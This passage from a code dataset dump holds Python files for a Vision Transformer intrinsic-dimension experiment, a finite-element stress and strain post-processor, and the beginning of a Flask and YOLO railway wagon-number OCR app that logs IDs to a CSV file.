mul_3 = mul_2[Pi]\n\n # H(GPiHBX)\n mul_4 = torch.mul(mul_3, GG)\n\n # (HGPiHBX)\n mul_5 = fast_walsh_hadamard_torched(mul_4, 0, normalize=False)\n\n ret = torch.div(mul_5[:DD], divisor * np.sqrt(float(DD) / LL))\n\n return ret\n\n\n\nclass Activation_Function_Class(nn.Module):\n \"\"\"\n Implementation of various activation function.\n \"\"\"\n\n def __init__(self, hidden_act):\n\n if hidden_act.lower() == \"relu\":\n self.f = nn.functional.relu\n elif hidden_act.lower() == \"tanh\":\n self.f = torch.tanh\n elif hidden_act.lower() == \"swish\":\n\n def swish(x):\n return x * torch.sigmoid(x)\n\n self.f = swish\n elif hidden_act.lower() == \"gelu\":\n\n def gelu_new(x):\n \"\"\"\n Implementation of the gelu activation function currently in Google Bert repo (identical to OpenAI GPT).\n Also see https://arxiv.org/abs/1606.08415\n \"\"\"\n return 0.5 * x * (1 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))\n\n self.f = gelu_new\n elif hidden_act.lower() == \"leakyrelu\":\n self.f = nn.functional.leaky_relu\n\n super().__init__()\n\n def forward(self, x):\n return self.f(x)\n\n\n\n# Single Adapter\nclass Adapter(nn.Module):\n \"\"\"\n Implementation of a single Adapter block.\n \"\"\"\n\n def __init__(\n self,\n input_size,\n down_sample=None,\n non_linearity=\"relu\",\n init_bert_weights=True,\n add_layer_norm_before=True,\n add_layer_norm_after=False,\n residual_before_ln=True,\n ):\n super().__init__()\n\n self.input_size = input_size\n self.add_layer_norm_before = add_layer_norm_before\n self.add_layer_norm_after = add_layer_norm_after\n self.residual_before_ln = residual_before_ln\n\n # list for all modules of the adapter, passed into nn.Sequential()\n seq_list = []\n\n # If we want to have a layer norm on input, we add it to seq_list\n if self.add_layer_norm_before:\n self.adapter_norm_before = nn.LayerNorm(self.input_size)\n seq_list.append(self.adapter_norm_before)\n\n # if a downsample size is not passed, we just half the size of the original input\n self.down_sample = down_sample\n if down_sample is None:\n self.down_sample = self.input_size // 2\n\n # Linear down projection of the input\n seq_list.append(nn.Linear(self.input_size, self.down_sample))\n\n # select non-linearity\n self.non_linearity = Activation_Function_Class(non_linearity.lower())\n\n seq_list.append(self.non_linearity)\n\n # sequential adapter, first downproject, then non-linearity then upsample. In the forward pass we include the\n # residual connection\n self.adapter_down = nn.Sequential(*seq_list)\n\n # Up projection to input size\n self.adapter_up = nn.Linear(self.down_sample, self.input_size)\n\n # If we want to have a layer norm on output, we apply it later after a separate residual connection\n # This means that we learn a new output layer norm, which replaces another layer norm learned in the bert layer\n if self.add_layer_norm_after:\n self.adapter_norm_after = nn.LayerNorm(self.input_size)\n\n # if we want to initialize with the bert strategy then this function is called for all the linear layers\n if init_bert_weights:\n self.adapter_down.apply(self.init_bert_weights)\n self.adapter_up.apply(self.init_bert_weights)\n\n def forward(self, x): # , residual_input=None):\n residual_input = x\n down = self.adapter_down(x)\n up = self.adapter_up(down)\n\n output = up\n\n # apply residual connection before layer norm if configured in this way\n if self.residual_before_ln:\n output = output + residual_input\n\n # apply layer norm if available\n if self.add_layer_norm_after:\n output = self.adapter_norm_after(output)\n\n # if residual should be applied after layer norm, apply it here\n if not self.residual_before_ln:\n output = output + residual_input\n\n return output, down, up\n\n # This is copied from the BertPreTrainedModel class to make this a self containing class.\n @staticmethod\n def init_bert_weights(module):\n \"\"\"Initialize the weights.\"\"\"\n if isinstance(module, (nn.Linear, nn.Embedding)):\n # std defaults to 0.02, this might need to be changed\n module.weight.data.normal_(mean=0.0, std=0.02)\n elif isinstance(module, nn.LayerNorm):\n module.bias.data.zero_()\n module.weight.data.fill_(1.0)\n if isinstance(module, nn.Linear) and module.bias is not None:\n module.bias.data.zero_()\n\n \nclass Attention(nn.Module):\n def __init__(self,\n dim,\n num_heads=8,\n qkv_bias=False,\n qk_scale=None,\n attn_drop=0.,\n proj_drop=0.,\n res_score=False):\n super().__init__()\n\n self.num_heads = num_heads\n head_dim = dim // num_heads\n # NOTE scale factor was wrong in my original version, can set manually to be compat with prev weights\n self.scale = qk_scale or head_dim ** -0.5\n\n self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\n self.attn_drop = nn.Dropout(attn_drop)\n self.proj = nn.Linear(dim, dim)\n self.proj_drop = nn.Dropout(proj_drop)\n self.res_score = res_score\n\n def forward(self, x, prev=None):\n B, N, C = x.shape\n qkv = self.qkv(x) \\\n .reshape(B, N, 3, self.num_heads, C // self.num_heads) \\\n .permute(2, 0, 3, 1, 4)\n q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple)\n\n attn_score = (q @ k.transpose(-2, -1)) * self.scale\n\n if prev is not None and self.res_score:\n attn_score = attn_score + prev\n\n if self.res_score:\n prev = attn_score\n\n attn = F.softmax(attn_score, dim=-1)\n\n attn = self.attn_drop(attn)\n\n x = (attn @ v).transpose(1, 2).reshape(B, N, C)\n x = self.proj(x)\n x = self.proj_drop(x)\n return x\n\n\nclass Block(nn.Module):\n\n def __init__(self,\n dim,\n num_heads,\n mlp_ratio=4.,\n qkv_bias=False,\n qk_scale=None,\n drop=0.,\n attn_drop=0.,\n drop_path=0.,\n act_layer=nn.GELU,\n norm_layer=nn.LayerNorm,\n pre_norm=True,\n res_score=False,\n dintrinsic = 100):\n super().__init__()\n self.norm1 = norm_layer(dim)\n self.attn = Attention(\n dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,\n attn_drop=attn_drop, proj_drop=drop, res_score=res_score\n )\n # NOTE: drop path for stochastic depth, we shall see if this is better than dropout here\n self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity()\n self.norm2 = norm_layer(dim)\n mlp_hidden_dim = int(dim * mlp_ratio)\n self.mlp = Mlp(\n in_features=dim, hidden_features=mlp_hidden_dim,\n act_layer=act_layer, drop=drop\n )\n self.pre_norm = pre_norm\n self.res_score = res_score \n\n #add adapter\n self.adapter = Adapter(dim,\n down_sample=64,\n non_linearity=\"relu\",\n init_bert_weights=True,\n add_layer_norm_before=True,\n add_layer_norm_after=False,\n residual_before_ln=True,\n )\n\n logging.info(f\"intrinsic dimension {dintrinsic}.\")\n self.intrinsic_attn = FastFoodWrap(Attention(\n dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,\n attn_drop=attn_drop, proj_drop=drop, res_score=res_score\n ), intrinsic_dimension=dintrinsic)\n self.intrinsic_mlp = FastFoodWrap(Mlp(\n in_features=dim, hidden_features=mlp_hidden_dim,\n act_layer=act_layer, drop=drop\n ), intrinsic_dimension=dintrinsic)\n self.intrinsic_adapter = FastFoodWrap(Adapter(dim,\n down_sample=64,\n non_linearity=\"relu\",\n init_bert_weights=True,\n add_layer_norm_before=True,\n add_layer_norm_after=False,\n residual_before_ln=True,\n ), intrinsic_dimension=dintrinsic)\n\n def forward(self, x, prev = None, measure_idim = None):\n if measure_idim == \"attention\":\n if self.pre_norm:\n attn = self.intrinsic_attn(self.norm1(x))\n x = x + self.drop_path(attn)\n x = x + self.drop_path(self.mlp(self.norm2(x)))\n else:\n attn = self.intrinsic_attn(x)\n x = self.norm1(x + self.drop_path(attn))\n x = self.norm2(x + self.drop_path(self.mlp(x)))\n elif measure_idim == \"adapter\":\n if self.pre_norm:\n attn = self.attn(self.norm1(x))\n x = x + self.drop_path(attn)\n x = x + self.intrinsic_adapter(self.drop_path(self.mlp(self.norm2(x))))[0]\n else:\n attn = self.attn(x)\n x = self.norm1(x + self.drop_path(attn))\n x = self.norm2(x + self.intrinsic_adapter(self.drop_path(self.mlp(x))))[0]\n elif measure_idim == \"mlp\":\n if self.pre_norm:\n attn = self.attn(self.norm1(x))\n x = x + self.drop_path(attn)\n x = x + self.drop_path(self.intrinsic_mlp(self.norm2(x)))\n else:\n attn = self.attn(x)\n x = self.norm1(x + self.drop_path(attn))\n x = self.norm2(x + self.drop_path(self.intrinsic_mlp(x)))\n else:\n if self.pre_norm:\n attn = self.attn(self.norm1(x), prev)\n x = x + self.drop_path(attn)\n x = x + self.drop_path(self.mlp(self.norm2(x)))\n else:\n attn = self.attn(x, prev)\n x = self.norm1(x + self.drop_path(attn))\n x = self.norm2(x + self.drop_path(self.mlp(x)))\n\n return x\n\n\nclass PatchEmbed(nn.Module):\n \"\"\" Image to Patch Embedding\n \"\"\"\n def __init__(self, img_size=224, patch_size=16, in_chans=3, embed_dim=768):\n super().__init__()\n img_size = to_2tuple(img_size)\n patch_size = to_2tuple(patch_size)\n num_patches = (img_size[1] // patch_size[1]) * (img_size[0] // patch_size[0])\n self.img_size = img_size\n self.patch_size = patch_size\n self.num_patches = num_patches\n\n self.proj = nn.Conv2d(\n in_chans, embed_dim, kernel_size=patch_size, stride=patch_size\n )\n\n def forward(self, x):\n B, C, H, W = x.shape\n # FIXME look at relaxing size constraints\n assert H == self.img_size[0] and W == self.img_size[1], \\\n f\"Input image size ({H}*{W}) doesn't match model ({self.img_size[0]}*{self.img_size[1]}).\"\n x = self.proj(x).flatten(2).transpose(1, 2)\n return x\n\n\nclass HybridEmbed(nn.Module):\n \"\"\" CNN Feature Map Embedding\n Extract feature map from CNN, flatten, project to embedding dim.\n \"\"\"\n def __init__(self,\n backbone,\n img_size=224,\n feature_size=None,\n in_chans=3,\n embed_dim=768):\n super().__init__()\n assert isinstance(backbone, nn.Module)\n img_size = to_2tuple(img_size)\n self.img_size = img_size\n self.backbone = backbone\n if feature_size is None:\n with torch.no_grad():\n # FIXME this is hacky, but most reliable way of determining the exact dim of the output feature\n # map for all networks, the feature metadata has reliable channel and stride info, but using\n # stride to calc feature dim requires info about padding of each stage that isn't captured.\n training = backbone.training\n if training:\n backbone.eval()\n o = self.backbone(\n torch.zeros(1, in_chans, img_size[0], img_size[1])\n )[-1]\n feature_size = o.shape[-2:]\n feature_dim = o.shape[1]\n backbone.train(training)\n else:\n feature_size = to_2tuple(feature_size)\n feature_dim = self.backbone.feature_info.channels()[-1]\n self.num_patches = feature_size[0] * feature_size[1]\n self.proj = nn.Linear(feature_dim, embed_dim)\n\n def forward(self, x):\n x = self.backbone(x)[-1]\n x = x.flatten(2).transpose(1, 2)\n x = self.proj(x)\n return x\n\n\nclass VisionTransformer(nn.Module):\n \"\"\" Vision Transformer with support for patch or hybrid CNN input stage\n \"\"\"\n def __init__(self,\n img_size=224,\n patch_size=16,\n in_chans=3,\n num_classes=1000,\n embed_dim=768,\n depth=12,\n num_heads=12,\n mlp_ratio=4.,\n qkv_bias=False,\n qk_scale=None,\n drop_rate=0.,\n attn_drop_rate=0.,\n drop_path_rate=0.,\n hybrid_backbone=None,\n norm_layer=nn.LayerNorm,\n use_cls_tocken=True,\n norm_embed=False,\n pre_norm=True,\n res_score=False,\n init='trunc_norm',\n dintrinsic = 100,\n layerType = \"mlp\",\n layernum = 100):\n super().__init__()\n self.num_classes = num_classes\n self.num_features = self.embed_dim = embed_dim # num_features for consistency with other models\n\n if hybrid_backbone is not None:\n self.patch_embed = HybridEmbed(\n hybrid_backbone, img_size=img_size, in_chans=in_chans,\n embed_dim=embed_dim\n )\n else:\n self.patch_embed = PatchEmbed(\n img_size=img_size, patch_size=patch_size, in_chans=in_chans,\n embed_dim=embed_dim\n )\n\n self.norm_embed = norm_layer(embed_dim) if norm_embed else None\n num_patches = self.patch_embed.num_patches\n\n if use_cls_tocken:\n self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim))\n self.pos_embed = nn.Parameter(\n torch.zeros(1, num_patches+1, embed_dim)\n )\n else:\n self.cls_token = None\n self.pos_embed = nn.Parameter(\n torch.zeros(1, num_patches, embed_dim)\n )\n\n self.pos_drop = nn.Dropout(p=drop_rate)\n\n dpr = [x.item() for x in torch.linspace(0, drop_path_rate, depth)] # stochastic depth decay rule\n self.blocks = nn.ModuleList([\n Block(\n dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio,\n qkv_bias=qkv_bias, qk_scale=qk_scale, drop=drop_rate,\n attn_drop=attn_drop_rate, drop_path=dpr[i],\n norm_layer=norm_layer, pre_norm=pre_norm,\n res_score=res_score,\n dintrinsic = dintrinsic\n )\n for i in range(depth)\n ])\n self.norm = norm_layer(embed_dim) if pre_norm else None\n\n # NOTE as per official impl, we could have a pre-logits representation dense layer + tanh here\n #self.repr = nn.Linear(embed_dim, representation_size)\n #self.repr_act = nn.Tanh()\n\n # Classifier head\n self.head = nn.Linear(embed_dim, num_classes) if num_classes > 0 else nn.Identity()\n\n if self.cls_token is not None:\n trunc_normal_(self.cls_token, std=.02)\n trunc_normal_(self.pos_embed, std=.02)\n\n if init == 'xavier':\n self.apply(self._init_weights_xavier)\n else:\n self.apply(self._init_weights_trunc_normal)\n\n self.layerType = layerType\n self.layernum = layernum\n\n def _init_weights_trunc_normal(self, m):\n if isinstance(m, nn.Linear):\n logging.info('=> init weight of Linear from trunc norm')\n trunc_normal_(m.weight, std=0.02)\n if m.bias is not None:\n logging.info('=> init bias of Linear to zeros')\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.LayerNorm):\n nn.init.constant_(m.bias, 0)\n nn.init.constant_(m.weight, 1.0)\n\n def _init_weights_xavier(self, m):\n if isinstance(m, nn.Linear):\n logging.info('=> init weight of Linear from xavier uniform')\n nn.init.xavier_uniform_(m.weight)\n if m.bias is not None:\n logging.info('=> init bias of Linear to zeros')\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.LayerNorm):\n nn.init.constant_(m.bias, 0)\n nn.init.constant_(m.weight, 1.0)\n\n def init_weights(self, pretrained='', pretrained_layers=[], verbose=True):\n if os.path.isfile(pretrained):\n pretrained_dict = torch.load(pretrained, map_location='cpu')\n logging.info(f'=> loading pretrained model {pretrained}')\n model_dict = self.state_dict()\n pretrained_dict = {\n k: v for k, v in pretrained_dict.items()\n if k in model_dict.keys()\n }\n need_init_state_dict = {}\n for k, v in pretrained_dict.items():\n need_init = (\n k.split('.')[0] in pretrained_layers\n or pretrained_layers[0] is '*'\n )\n if need_init:\n if verbose:\n logging.info(f'=> init {k} from {pretrained}')\n print(k, v.size(), model_dict[k].size())\n if 'pos_embed' == k and v.size() != model_dict[k].size():\n size_pretrained = v.size()\n size_new = model_dict[k].size()\n logging.info(\n '=> load_pretrained: resized variant: {} to {}'\n .format(size_pretrained, size_new)\n )\n\n ntok_new = size_new[1]\n ntok_new -= 1\n\n posemb_tok, posemb_grid = v[:, :1], v[0, 1:]\n\n gs_old = int(np.sqrt(len(posemb_grid)))\n gs_new = int(np.sqrt(ntok_new))\n\n logging.info(\n '=> load_pretrained: grid-size from {} to {}'\n .format(gs_old, gs_new)\n )\n\n posemb_grid = posemb_grid.reshape(gs_old, gs_old, -1)\n zoom = (gs_new / gs_old, gs_new / gs_old, 1)\n posemb_grid = scipy.ndimage.zoom(\n posemb_grid, zoom, order=1\n )\n posemb_grid = posemb_grid.reshape(1, gs_new**2, -1)\n v = torch.tensor(\n np.concatenate([posemb_tok, posemb_grid], axis=1)\n )\n\n need_init_state_dict[k] = v\n self.load_state_dict(need_init_state_dict, strict=False)\n\n @torch.jit.ignore\n def no_weight_decay(self):\n return {'pos_embed', 'cls_token'}\n\n def forward_features(self, x):\n layerType = self.layerType\n\n B = x.shape[0]\n x = self.patch_embed(x)\n\n if self.norm_embed:\n x = self.norm_embed(x)\n\n if self.cls_token is not None:\n # stole cls_tokens impl from Phil Wang, thanks\n cls_tokens = self.cls_token.expand(B, -1, -1)\n x = torch.cat((cls_tokens, x), dim=1)\n\n x = x + self.pos_embed\n x = self.pos_drop(x)\n\n prev = None\n for id, blk in enumerate(self.blocks):\n # if id ==11:\n # if id ==0:\n if id ==self.layernum:\n x = blk(x, prev, layerType)\n else:\n x = blk(x, prev, None)\n\n # if id ==0:\n # # x = blk(x, prev, \"adapter\")\n # # x = blk(x, prev, \"attention\")\n # x = blk(x, prev, \"mlp\")\n # else:\n # x = blk(x, prev, None)\n\n if self.norm:\n x = self.norm(x)\n\n if self.cls_token is not None:\n x = x[:, 0]\n else:\n x = torch.mean(x, dim=1)\n\n return x\n\n def forward(self, x):\n x = self.forward_features(x)\n x = self.head(x)\n return x\n\n\ndef get_cls_model(config, dintrinsic, layerType, layernum, **kwargs):\n vit_spec = config.MODEL.SPEC\n vit = VisionTransformer(\n img_size=config.TRAIN.IMAGE_SIZE[0],\n patch_size=vit_spec.PATCH_SIZE,\n num_classes=config.MODEL.NUM_CLASSES,\n embed_dim=vit_spec.EMBED_DIM,\n qkv_bias=vit_spec.QKV_BIAS,\n depth=vit_spec.DEPTH,\n num_heads=vit_spec.NUM_HEADS,\n mlp_ratio=vit_spec.MLP_RATIO,\n drop_rate=vit_spec.DROP_RATE,\n attn_drop_rate=vit_spec.ATTN_DROP_RATE,\n drop_path_rate=vit_spec.DROP_PATH_RATE,\n norm_layer=partial(nn.LayerNorm, eps=1e-6),\n use_cls_tocken=vit_spec.USE_CLS_TOKEN,\n norm_embed=getattr(vit_spec, 'NORM_EMBED', False),\n pre_norm=getattr(vit_spec, 'PRE_NORM', True),\n res_score=getattr(vit_spec, 'RES_SCORE', False),\n init=getattr(vit_spec, 'INIT', 'trunc_norm'),\n dintrinsic = dintrinsic,\n layerType = layerType,\n layernum = layernum\n )\n\n if config.MODEL.INIT_WEIGHTS:\n vit.init_weights(\n config.MODEL.PRETRAINED,\n config.MODEL.PRETRAINED_LAYERS,\n config.VERBOSE\n )\n\n return vit\n","repo_name":"jkooy/Parameter-efficient-Fine-tuning-for-Vision-Transformers","sub_path":"full_shot/main/lib/models/cls_intrinsic_dimension.py","file_name":"cls_intrinsic_dimension.py","file_ext":"py","file_size_in_byte":29199,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"70229080893","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom .shapefun import shapefun\n\n\n\nclass FE_PostProcessing:\n\n\tdef __init__(self,name):\n\t\tself.node_strain = []\n\t\tself.node_stress = []\n\t\tself.nodes = []\n\t\tself.u =[]\n\t\tself.conn = []\n\t\tself.name_shapef, self.shape_f = name, None\n\t\tself.plot_type = 'e11'\n\n\n\tdef stress_strain(self):\n\t\tprint('\\n** Post process the data')\n\t# (pre-allocate space for nodal stress and strain)\n\t\tfor ni in range(len(self.nodes)):\n\t\t\tself.node_strain.append([0.0, 0.0, 0.0])\n\t\t\tself.node_stress.append([0.0, 0.0, 0.0])\n\t\tnode_strain = np.array(self.node_strain)\n\t\tnode_stress = np.array(self.node_stress)\n\n\t\tprint(f' min displacements: u1={min(self.u[0::2]):.4g}, u2={min(self.u[1::2]):.4g}')\n\t\tprint(f' max displacements: u1={max(self.u[0::2]):.4g}, u2={max(self.u[1::2]):.4g}')\n\t\temin = np.array([ 9.0e9, 9.0e9, 9.0e9])\n\t\temax = np.array([-9.0e9, -9.0e9, -9.0e9])\n\t\tsmin = np.array([ 9.0e9, 9.0e9, 9.0e9])\n\t\tsmax = np.array([-9.0e9, -9.0e9, -9.0e9])\n\n\t\tfor n_el in self.mesh_dict['Elem_num']: # loop through each element\n\t\t\t # for each element (conn is Nx4)\n\t\t\t\t\t\t\t\t\t\t # c is like [2,5,22,53]\t\t\t\n\t\t\tc = self.conn[n_el-1] # connectivtiy\t\t\t\t\t\t\n\t\t\tself.shape_f=getattr(shapefun,self.mesh_dict['shape_fun'][n_el-1])\n\t\t\tnodePts = self.nodes[c,:]\t\t\t# 4x2, eg: [[1.1,0.2], [1.2,0.3], [1.3,0.4], [1.4, 0.5]]\n\t\t\n\t\t\tif len(nodePts) == 4:\n\t\t\t\tB = np.zeros((3,8)) # \n\t\t\t\tfor q in self.q4:\t\t\t\t\t# for each integration pt, eg: [-0.7,-0.7]\n\t\t\t\t\tN,dN = self.shape_f(q) # 2x4\n\t\t\t\t\tJ = np.dot(dN, nodePts).T\t\t\t# 2x2\n\t\t\t\t\tdN = np.dot(np.linalg.inv(J), dN)\t# 2x4\n\t\t\t\t\tB[0,0::2] = dN[0,:]\t\t\t\t\t# 3x8\n\t\t\t\t\tB[1,1::2] = dN[1,:]\n\t\t\t\t\tB[2,0::2] = dN[1,:]\n\t\t\t\t\tB[2,1::2] = dN[0,:]\n\n\t\t\t\t\tUU = np.zeros((8,1))\t\t\t\t# 8x1\n\t\t\t\t\tUU[0] = self.u[2*c[0]]\n\t\t\t\t\tUU[1] = self.u[2*c[0] + 1]\n\t\t\t\t\tUU[2] = self.u[2*c[1]]\n\t\t\t\t\tUU[3] = self.u[2*c[1] + 1]\n\t\t\t\t\tUU[4] = self.u[2*c[2]]\n\t\t\t\t\tUU[5] = self.u[2*c[2] + 1]\n\t\t\t\t\tUU[6] = self.u[2*c[3]]\n\t\t\t\t\tUU[7] = self.u[2*c[3] + 1]\n\t\t\t\t\t# get the strain and stress at the integration point\n\t\t\t\t\tstrain = B @ UU\t\t# (B is 3x8) (UU is 8x1) \t\t=> (strain is 3x1)\n\t\t\t\t\tstress = self.C @ strain\t# (C is 3x3) (strain is 3x1) \t=> (stress is 3x1)\n\t\t\t\t\temin[0] = min(emin[0], strain[0][0])\n\t\t\t\t\temin[1] = min(emin[1], strain[1][0])\n\t\t\t\t\temin[2] = min(emin[2], strain[2][0])\n\t\t\t\t\temax[0] = max(emax[0], strain[0][0])\n\t\t\t\t\temax[1] = max(emax[1], strain[1][0])\n\t\t\t\t\temax[2] = max(emax[2], strain[2][0])\n\n\t\t\t\t\tnode_strain[c[0]][:] = strain.T[0]\n\t\t\t\t\tnode_strain[c[1]][:] = strain.T[0]\n\t\t\t\t\tnode_strain[c[2]][:] = strain.T[0]\n\t\t\t\t\tnode_strain[c[3]][:] = strain.T[0]\n\t\t\t\t\tnode_stress[c[0]][:] = stress.T[0]\n\t\t\t\t\tnode_stress[c[1]][:] = stress.T[0]\n\t\t\t\t\tnode_stress[c[2]][:] = stress.T[0]\n\t\t\t\t\tnode_stress[c[3]][:] = stress.T[0]\n\t\t\t\t\tsmax[0] = max(smax[0], stress[0][0])\n\t\t\t\t\tsmax[1] = max(smax[1], stress[1][0])\n\t\t\t\t\tsmax[2] = max(smax[2], stress[2][0])\n\t\t\t\t\tsmin[0] = min(smin[0], stress[0][0])\n\t\t\t\t\tsmin[1] = min(smin[1], stress[1][0])\n\t\t\t\t\tsmin[2] = min(smin[2], stress[2][0])\n\n\t\t\tif len(nodePts) == 2:\n\t\t\t\t\tB = np.zeros((1,4)) #\n\t\t\t\t\tfor q in self.q2:\t\t# for each Gauss point\n\t\t\t\t\t\t# q is 1x2, N(xi,eta)\n\t\t\t\t\t\t# dN = self.gradshapefun(q) # partial derivative of N wrt (xi): 1x4\n\t\t\t\t\t\tN,dN = self.shape_f(q) # N and partial derivatives dN\n\t\t\t\t\t\tJ = np.dot(dN[0::2].T, nodePts).T # Jacobian - J is 1\n\t\t\t\t\t\tL = np.linalg.norm(nodePts[0,:]-nodePts[1,:])\n\t\t\t\t\t\t# assemble B matrix [1x4]\n\t\t\t\t\t\tB[0,0] = -6*q/L**2\n\t\t\t\t\t\tB[0,1] = (3*q-1)/L\n\t\t\t\t\t\tB[0,2] = -6*q/L**2\n\t\t\t\t\t\tB[0,3] = (3*q+1)/L \n\n\t\t\t\t\t\tUU = np.zeros((4,1))\t\t\t\t# 4x1\n\t\t\t\t\t\tUU[0] = self.u[2*c[0]]\n\t\t\t\t\t\tUU[1] = self.u[2*c[0] + 1]\n\t\t\t\t\t\tUU[2] = self.u[2*c[1]]\n\t\t\t\t\t\tUU[3] = self.u[2*c[1] + 1]\n\n\t\t\t\t\t\t\t\t\t\t\t# get the strain and stress at the integration point\n\t\t\t\t\t\tstrain = B @ UU\t\t# (B is 1x4) (UU is 4x1) \t\t=> (strain is 1x1)\n\t\t\t\t\t\tstress = self.C_beam * strain\t# (C is 1x1) (strain is 1x1) \t=> (stress is 1x1)\n\t\t\t\t\t\tprint(strain)\n\t\t\t\t\t\temin[0] = min(emin[0], strain[0])\n\t\t\t\t\t\temax[0] = max(emax[0], strain[0])\n\n\t\t\t\t\t\tnode_strain[c[0]][:] = strain.T[0]\n\t\t\t\t\t\tnode_strain[c[1]][:] = strain.T[0]\n\t\t\t\t\t\tsmax[0] = max(smax[0], stress[0][0])\n\n\t\tprint(f' min strains: e11={emin[0]:.4g}, e22={emin[1]:.4g}, e12={emin[2]:.4g}')\n\t\tprint(f' max strains: e11={emax[0]:.4g}, e22={emax[1]:.4g}, e12={emax[2]:.4g}')\n\t\tprint(f' min stress: s11={smin[0]:.4g}, s22={smin[1]:.4g}, s12={smin[2]:.4g}')\n\t\tprint(f' max stress: s11={smax[0]:.4g}, s22={smax[1]:.4g}, s12={smax[2]:.4g}')\n\t\t\n\t\t\n\t\t###############################\n\t\tprint('\\n** Plot displacement')\n\t\txvec = []\n\t\tyvec = []\n\t\tres = []\n\t\tfor ni,pt in enumerate(self.nodes):\n\t\t\txvec.append(pt[0] + self.u[2*ni])\n\t\t\tyvec.append(pt[1] + self.u[2*ni+1])\n\t\t\tif self.plot_type=='u1': res.append(self.u[2*ni])\t\t\t# x-disp\n\t\t\tif self.plot_type=='u2': res.append(self.u[2*ni+1])\t\t# y-disp\n\t\t\tif self.plot_type=='s11': res.append(node_stress[ni])\t\t# s11\n\t\t\tif self.plot_type=='s22': res.append(node_stress[ni])\t\t# s22\n\t\t\tif self.plot_type=='s12': res.append(node_stress[ni])\t\t# s12\n\t\t\tif self.plot_type=='e11': res.append(node_strain[ni])\t\t# e11\n\t\t\tif self.plot_type=='e22': res.append(node_strain[ni])\t\t# e22\n\t\t\tif self.plot_type=='e12': res.append(node_strain[ni])\t\t# e12\n\t\ttri = []\n\t\tif len(nodePts) == 4:\n\t\t\tfor c in self.conn:\n\t\t\t\tif len(c) == 4:\n\t\t\t\t\ttri.append( [c[0], c[1], c[2]] )\n\t\t\t\t\ttri.append( [c[0], c[2], c[3]] )\n\t\t\tt = plt.tricontourf(xvec, yvec, res, triangles=tri, levels=14, cmap=plt.cm.jet)\n\t\t \t#plt.scatter(xvec, yvec, marker='o', c='b', s=0.5) # (plot the nodes)\n\t\t\tplt.grid()\n\t\t\tplt.colorbar(t)\n\t\t\tplt.title(self.plot_type)\n\t\t\tplt.axis('equal')\n\t\t\tplt.show()\n\t\t\tprint('Done.')\n\t\tbi = []\n\t\tif len(nodePts) == 2:\n\t\t\tfor c in self.conn:\n\t\t\t\tif len(c) == 2:\n\t\t\t\t\tbi.append( [c[0], c[1]])\n\t\t\tprint('plotting beam')\n\t\t\tfig, ax = plt.subplots()\n\t\t\tax.plot(xvec, res)\n\t\t \t#plt.scatter(xvec, yvec, marker='o', c='b', s=0.5) # (plot the nodes)\n\t\t\tax.grid()\n\t\t\tplt.title(self.plot_type)\n\t\t\tax.set_ylim(min(res),max(res))\n\t\t\tplt.show()\n\t\t\tprint('Done.')","repo_name":"LaYenka/KratoSim","sub_path":"src/FEM/FE_PostProcessing.py","file_name":"FE_PostProcessing.py","file_ext":"py","file_size_in_byte":6068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1633388811","text":"from flask import Flask, request, render_template, send_file\r\nfrom PIL import Image\r\nimport cv2\r\nimport csv\r\nimport os\r\nimport numpy as np\r\nfrom datetime import datetime\r\nfrom ultralytics import YOLO\r\nimport pytesseract\r\n\r\n# C:\\Program Files\\Tesseract-OCR\r\npytesseract.pytesseract.tesseract_cmd = 'C:\\\\Program Files\\\\Tesseract-OCR\\\\tesseract.exe'\r\nmyconfig = r'--oem 3 --psm 6 outputbase digits'\r\n\r\n# Settings\r\nclass_name = 'railway-train-id'\r\ndetection_color = (255, 50, 255)\r\nmodel = YOLO(\"models/railway-train-id.pt\", \"v8\")\r\n\r\n# Vals to resize frames\r\nframe_wid = 640\r\nframe_hyt = 480\r\n\r\n# Function to Add new Wagon_ID to the Database\r\ndef add_record(wagon_id, datetime):\r\n # Check Wagon ID for Validness:\r\n if len(wagon_id) < 8:\r\n return\r\n\r\n # Check if the Wagon_id already exists or not\r\n with open('records.csv', 'r') as file:\r\n reader = csv.reader(file)\r\n for row in reader:\r\n if row[1] == wagon_id:\r\n print(f\"Wagon ID {wagon_id} already exists.\")\r\n return\r\n\r\n # Get the last ID from the existing records (auto-increment)\r\n try:\r\n with open('records.csv', 'r') as file:\r\n reader = csv.DictReader(file)\r\n records = list(reader)\r\n last_id = int(records[-1]['id'])\r\n except IndexError:\r\n last_id = 0\r\n\r\n # Increment the ID and append the new record\r\n new_id = last_id + 1\r\n new_record = {'id': str(new_id), 'wagon_id': wagon_id, 'datetime': datetime}\r\n\r\n with open('records.csv', 'a', newline='') as file:\r\n writer = csv.DictWriter(file, fieldnames=['id', 'wagon_id', 'datetime'])\r\n writer.writerow(new_record)\r\n\r\n print(f\"Record with ID {new_id} added successfully.\")\r\n\r\n\r\n# Process Image Function\r\ndef process_image_func(image):\r\n frame = cv2.cvtColor(np.array(image), cv2.COLOR_RGB2BGR)\r\n\r\n # Resize the frame to optimize the run\r\n frame = cv2.resize(frame, (frame_wid, frame_hyt))\r\n result = frame\r\n accuracy_score = 0\r\n id_number = 0\r\n\r\n # Convert tensor array to numpy\r\n detect_params = model.predict(source=[frame], conf=0.45, save=False)\r\n DP = detect_params[0].numpy()\r\n print(DP)\r\n\r\n if len(DP) != 0:\r\n for i in range(len(detect_params[0])):\r\n boxes = detect_params[0].boxes\r\n box = boxes[i]\r\n conf = box.conf.numpy()[0]\r\n bb = box.xyxy.numpy()[0]\r\n\r\n # Cropping wagon number from the main Image\r\n result = frame[int(bb[1]):int(bb[3]), int(bb[0]):int(bb[2])]\r\n\r\n # Processing image number through OCR engine\r\n boxes = pytesseract.image_to_data(result, config=myconfig)\r\n for x, b in 